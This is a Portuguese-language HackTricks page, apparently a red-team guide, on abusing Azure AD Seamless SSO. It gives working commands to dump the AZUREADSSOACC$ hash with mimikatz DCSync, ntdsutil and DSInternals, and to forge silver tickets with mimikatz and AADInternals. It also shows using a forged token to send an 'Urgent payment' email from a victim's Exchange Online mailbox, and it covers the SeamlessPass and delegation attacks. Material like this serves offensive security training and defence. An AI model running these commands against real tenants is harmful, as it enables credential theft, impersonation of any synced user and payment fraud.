Az - Seamless SSO

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas

Dos documentos: O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) loga automaticamente os usuários quando estão em seus dispositivos corporativos conectados à sua rede corporativa. Quando ativado, os usuários não precisam digitar suas senhas para fazer login no Azure AD, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Basicamente, o Azure AD Seamless SSO loga os usuários quando estão em um PC conectado ao domínio on-prem.

É suportado tanto por PHS (Password Hash Sync) quanto por PTA (Pass-through Authentication).

O SSO de desktop usa Kerberos para autenticação. Quando configurado, o Azure AD Connect cria uma conta de computador chamada AZUREADSSOACC$ no AD on-prem. A senha da conta AZUREADSSOACC$ é enviada em texto simples para o Azure AD durante a configuração.

Os tickets Kerberos são criptografados usando o NTHash (MD4) da senha e o Azure AD usa a senha enviada para descriptografar os tickets.

Azure AD expõe um endpoint (https://autologon.microsoftazuread-sso.com) que aceita tickets Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.

On-prem -> nuvem

A senha do usuário AZUREADSSOACC$ nunca muda. Portanto, um administrador de domínio poderia comprometer o hash desta conta, e então usá-lo para criar silver tickets para se conectar ao Azure com qualquer usuário on-prem sincronizado:

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Com o hash, você agora pode gerar tickets silver:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Para utilizar o silver ticket, os seguintes passos devem ser executados:

  1. Iniciar o Navegador: O Mozilla Firefox deve ser iniciado.
  2. Configurar o Navegador:
  1. Acessar a Aplicação Web:
  • Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é Office 365.
  1. Processo de Autenticação:
  • Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.
  • Para prosseguir, pressione TAB ou ENTER.

tip

Isso não contorna o MFA se estiver habilitado

Opção 2 sem dcsync - SeamlessPass

Também é possível realizar este ataque sem um ataque dcsync para ser mais furtivo, como explicado neste post do blog. Para isso, você só precisa de um dos seguintes:

  • Um TGT de usuário comprometido: Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas, como Kekeo e Rubeus.
  • Golden Ticket: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
  • Hash NTLM ou chave AES de um usuário comprometido: O SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT.
  • Hash NTLM ou chave AES da conta AZUREADSSOACC$: Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).

Finalmente, com o TGT, é possível usar a ferramenta SeamlessPass com:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser encontradas neste post do blog.

Criando tickets Kerberos para usuários apenas na nuvem

Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem definir SID para qualquer usuário da nuvem. Dessa forma, os tickets Kerberos podem ser criados também para usuários apenas na nuvem. O único requisito é que o SID seja um SID.

caution

Alterar o SID de usuários administradores apenas na nuvem agora está bloqueado pela Microsoft.
Para mais informações, consulte https://aadinternals.com/post/on-prem_admin/

On-prem -> Nuvem via Delegação Constrained Baseada em Recurso

Qualquer pessoa que possa gerenciar contas de computador (AZUREADSSOACC$) no contêiner ou OU em que essa conta está, pode configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la.

python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks